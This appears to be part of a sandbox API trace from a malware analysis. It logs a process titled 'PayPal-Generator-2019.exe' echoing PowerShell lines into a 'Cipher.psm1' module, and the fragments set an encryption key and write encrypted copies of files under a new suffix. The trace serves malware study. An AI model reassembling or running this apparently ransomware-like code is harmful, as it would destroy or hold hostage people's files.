_Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2de04 | out: _Buffer=" $Crypto.Key = $EncryptionKey } \r\n") returned 46 [0049.291] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.291] GetFileType (hFile=0x3c) returned 0x1 [0049.291] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.291] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Crypto.Key = $EncryptionKey } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Crypto.Key = $EncryptionKey } \r\n", lpUsedDefaultChar=0x0) returned 47 [0049.292] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x2e, lpNumberOfBytesWritten=0xe2ddf4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2ddf4*=0x2e, lpOverlapped=0x0) returned 1 [0049.292] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.293] _close (_FileHandle=3) returned 0 [0049.293] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.293] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.293] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.293] GetFileType (hFile=0x3c) returned 0x2 [0049.293] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.293] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2dfec | out: lpMode=0xe2dfec) returned 1 [0049.294] _dup (_FileHandle=1) returned 3 [0049.294] _close (_FileHandle=1) returned 0 [0049.294] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.294] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2dfcc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.295] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.295] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.295] GetFileType (hFile=0x3c) returned 0x1 [0049.295] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xbed [0049.295] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dfe4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dfe4*=0) returned 0xbec [0049.295] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dfe8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2dfd8, lpOverlapped=0x0 | out: lpBuffer=0xe2dfe8*, lpNumberOfBytesRead=0xe2dfd8*=0x1, lpOverlapped=0x0) returned 1 [0049.295] GetConsoleTitleW (in: lpConsoleTitle=0xe2dde8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.296] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.296] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.296] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.296] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.296] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.296] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.296] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.296] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.296] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.296] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.296] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dda4 | out: _Buffer=" Catch { Write-Error $_ -ErrorAction Stop } } \r\n") returned 66 [0049.296] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.296] GetFileType (hFile=0x3c) returned 0x1 [0049.296] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.296] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Catch { Write-Error $_ -ErrorAction Stop } } \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Catch { Write-Error $_ -ErrorAction Stop } } \r\n", lpUsedDefaultChar=0x0) returned 67 [0049.296] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xe2dd94, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2dd94*=0x42, lpOverlapped=0x0) returned 1 [0049.296] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.297] _close (_FileHandle=3) returned 0 [0049.297] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.297] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.297] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.297] GetFileType (hFile=0x3c) returned 0x2 [0049.297] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.297] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2df8c | out: lpMode=0xe2df8c) returned 1 [0049.298] _dup (_FileHandle=1) returned 3 [0049.298] _close (_FileHandle=1) returned 0 [0049.298] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.299] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2df6c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.299] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.299] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.299] GetFileType (hFile=0x3c) returned 0x1 [0049.299] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc2f [0049.299] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2df84*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2df84*=0) returned 0xc2e [0049.299] ReadFile (in: hFile=0x3c, lpBuffer=0xe2df88, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2df78, lpOverlapped=0x0 | out: lpBuffer=0xe2df88*, lpNumberOfBytesRead=0xe2df78*=0x1, lpOverlapped=0x0) returned 1 [0049.299] GetConsoleTitleW (in: lpConsoleTitle=0xe2dd88, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.302] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.302] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.302] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.302] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.302] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.302] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.302] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.302] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.302] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.302] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.302] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dd44 | out: _Buffer=" Process { \r\n") returned 20 [0049.302] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.302] GetFileType (hFile=0x3c) returned 0x1 [0049.302] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.302] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Process { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Process { \r\n", lpUsedDefaultChar=0x0) returned 21 [0049.302] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xe2dd34, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2dd34*=0x14, lpOverlapped=0x0) returned 1 [0049.303] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.303] _close (_FileHandle=3) returned 0 [0049.303] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.303] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.303] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.303] GetFileType (hFile=0x3c) returned 0x2 [0049.303] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.303] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2df2c | out: lpMode=0xe2df2c) returned 1 [0049.305] _dup (_FileHandle=1) returned 3 [0049.305] _close (_FileHandle=1) returned 0 [0049.305] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.305] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2df0c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.305] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.305] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.305] GetFileType (hFile=0x3c) returned 0x1 [0049.305] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc43 [0049.305] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2df24*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2df24*=0) returned 0xc42 [0049.305] ReadFile (in: hFile=0x3c, lpBuffer=0xe2df28, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2df18, lpOverlapped=0x0 | out: lpBuffer=0xe2df28*, lpNumberOfBytesRead=0xe2df18*=0x1, lpOverlapped=0x0) returned 1 [0049.305] GetConsoleTitleW (in: lpConsoleTitle=0xe2dd28, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.306] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.306] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.306] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.306] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.306] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.306] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.306] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.306] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.306] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.306] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.307] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dce4 | out: _Buffer=" $Files = Get-Item -LiteralPath $FileName \r\n") returned 52 [0049.307] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.307] GetFileType (hFile=0x3c) returned 0x1 [0049.307] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.307] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Files = Get-Item -LiteralPath $FileName \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Files = Get-Item -LiteralPath $FileName \r\n", lpUsedDefaultChar=0x0) returned 53 [0049.307] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xe2dcd4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2dcd4*=0x34, lpOverlapped=0x0) returned 1 [0049.307] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.307] _close (_FileHandle=3) returned 0 [0049.307] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.307] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.307] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.308] GetFileType (hFile=0x3c) returned 0x2 [0049.308] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.308] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2decc | out: lpMode=0xe2decc) returned 1 [0049.309] _dup (_FileHandle=1) returned 3 [0049.309] _close (_FileHandle=1) returned 0 [0049.309] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.309] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2deac, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.309] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.309] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.309] GetFileType (hFile=0x3c) returned 0x1 [0049.309] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc77 [0049.309] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dec4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dec4*=0) returned 0xc76 [0049.309] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dec8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2deb8, lpOverlapped=0x0 | out: lpBuffer=0xe2dec8*, lpNumberOfBytesRead=0xe2deb8*=0x1, lpOverlapped=0x0) returned 1 [0049.309] GetConsoleTitleW (in: lpConsoleTitle=0xe2dcc8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.310] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.310] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.310] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.310] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.310] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.310] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.310] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.310] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.310] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.310] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.310] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dc84 | out: _Buffer=" ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix \r\n") returned 90 [0049.310] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.310] GetFileType (hFile=0x3c) returned 0x1 [0049.310] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.310] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ForEach($File in $Files) { $DestinationFile = $File.FullName + $Suffix \r\n", lpUsedDefaultChar=0x0) returned 91 [0049.311] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0xe2dc74, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2dc74*=0x5a, lpOverlapped=0x0) returned 1 [0049.311] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.311] _close (_FileHandle=3) returned 0 [0049.311] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.311] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.311] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.311] GetFileType (hFile=0x3c) returned 0x2 [0049.311] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.311] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2de6c | out: lpMode=0xe2de6c) returned 1 [0049.312] _dup (_FileHandle=1) returned 3 [0049.312] _close (_FileHandle=1) returned 0 [0049.312] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.312] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2de4c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.313] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.313] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.313] GetFileType (hFile=0x3c) returned 0x1 [0049.313] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcd1 [0049.313] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2de64*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2de64*=0) returned 0xcd0 [0049.313] ReadFile (in: hFile=0x3c, lpBuffer=0xe2de68, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2de58, lpOverlapped=0x0 | out: lpBuffer=0xe2de68*, lpNumberOfBytesRead=0xe2de58*=0x1, lpOverlapped=0x0) returned 1 [0049.313] GetConsoleTitleW (in: lpConsoleTitle=0xe2dc68, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.314] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.314] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.314] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.314] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.314] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.314] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.315] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.315] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.315] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.315] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.315] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dc24 | out: _Buffer=" Try { \r\n") returned 27 [0049.315] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.315] GetFileType (hFile=0x3c) returned 0x1 [0049.315] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.315] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" Try { \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" Try { \r\n", lpUsedDefaultChar=0x0) returned 28 [0049.315] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x1b, lpNumberOfBytesWritten=0xe2dc14, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2dc14*=0x1b, lpOverlapped=0x0) returned 1 [0049.315] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.316] _close (_FileHandle=3) returned 0 [0049.316] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.316] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.316] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.316] GetFileType (hFile=0x3c) returned 0x2 [0049.316] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.316] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2de0c | out: lpMode=0xe2de0c) returned 1 [0049.317] _dup (_FileHandle=1) returned 3 [0049.317] _close (_FileHandle=1) returned 0 [0049.317] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.317] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2ddec, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.318] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.318] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.318] GetFileType (hFile=0x3c) returned 0x1 [0049.318] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xcec [0049.318] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2de04*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2de04*=0) returned 0xceb [0049.318] ReadFile (in: hFile=0x3c, lpBuffer=0xe2de08, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2ddf8, lpOverlapped=0x0 | out: lpBuffer=0xe2de08*, lpNumberOfBytesRead=0xe2ddf8*=0x1, lpOverlapped=0x0) returned 1 [0049.318] GetConsoleTitleW (in: lpConsoleTitle=0xe2dc08, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.319] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.319] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.319] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.319] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.319] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.319] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.319] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.319] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.319] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.319] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.319] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2dbc4 | out: _Buffer=" $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) \r\n") returned 115 [0049.319] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.319] GetFileType (hFile=0x3c) returned 0x1 [0049.319] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.319] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamReader = New-Object System.IO.FileStream($File.FullName, [System.IO.FileMode]::Open) \r\n", lpUsedDefaultChar=0x0) returned 116 [0049.319] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x73, lpNumberOfBytesWritten=0xe2dbb4, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2dbb4*=0x73, lpOverlapped=0x0) returned 1 [0049.319] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.320] _close (_FileHandle=3) returned 0 [0049.320] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.320] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.320] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.320] GetFileType (hFile=0x3c) returned 0x2 [0049.320] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.320] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2ddac | out: lpMode=0xe2ddac) returned 1 [0049.321] _dup (_FileHandle=1) returned 3 [0049.321] _close (_FileHandle=1) returned 0 [0049.321] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.321] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2dd8c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c [0049.321] _open_osfhandle (_OSFileHandle=0x3c, _Flags=8) returned 1 [0049.321] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.321] GetFileType (hFile=0x3c) returned 0x1 [0049.321] GetFileSize (in: hFile=0x3c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd5f [0049.321] SetFilePointer (in: hFile=0x3c, lDistanceToMove=-1, lpDistanceToMoveHigh=0xe2dda4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe2dda4*=0) returned 0xd5e [0049.321] ReadFile (in: hFile=0x3c, lpBuffer=0xe2dda8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xe2dd98, lpOverlapped=0x0 | out: lpBuffer=0xe2dda8*, lpNumberOfBytesRead=0xe2dd98*=0x1, lpOverlapped=0x0) returned 1 [0049.321] GetConsoleTitleW (in: lpConsoleTitle=0xe2dba8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\PayPal-Generator-2019.exe") returned 0x37 [0049.322] _wcsicmp (_String1="echo", _String2="DIR") returned 1 [0049.322] _wcsicmp (_String1="echo", _String2="ERASE") returned -15 [0049.322] _wcsicmp (_String1="echo", _String2="DEL") returned 1 [0049.322] _wcsicmp (_String1="echo", _String2="TYPE") returned -15 [0049.322] _wcsicmp (_String1="echo", _String2="COPY") returned 2 [0049.322] _wcsicmp (_String1="echo", _String2="CD") returned 2 [0049.322] _wcsicmp (_String1="echo", _String2="CHDIR") returned 2 [0049.322] _wcsicmp (_String1="echo", _String2="RENAME") returned -13 [0049.322] _wcsicmp (_String1="echo", _String2="REN") returned -13 [0049.322] _wcsicmp (_String1="echo", _String2="ECHO") returned 0 [0049.322] _vsnwprintf (in: _Buffer=0x1066940, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0xe2db64 | out: _Buffer=" $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) \r\n") returned 119 [0049.322] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.322] GetFileType (hFile=0x3c) returned 0x1 [0049.322] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) \r\n", cchWideChar=-1, lpMultiByteStr=0x106a960, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter = New-Object System.IO.FileStream($DestinationFile, [System.IO.FileMode]::Create) \r\n", lpUsedDefaultChar=0x0) returned 120 [0049.323] WriteFile (in: hFile=0x3c, lpBuffer=0x106a960*, nNumberOfBytesToWrite=0x77, lpNumberOfBytesWritten=0xe2db54, lpOverlapped=0x0 | out: lpBuffer=0x106a960*, lpNumberOfBytesWritten=0xe2db54*=0x77, lpOverlapped=0x0) returned 1 [0049.323] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0049.323] _close (_FileHandle=3) returned 0 [0049.323] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.323] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.323] _get_osfhandle (_FileHandle=1) returned 0x3c [0049.323] GetFileType (hFile=0x3c) returned 0x2 [0049.323] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0049.323] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0xe2dd4c | out: lpMode=0xe2dd4c) returned 1 [0049.325] _dup (_FileHandle=1) returned 3 [0049.325] _close (_FileHandle=1) returned 0 [0049.325] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0049.325] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0xe2dd2c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, 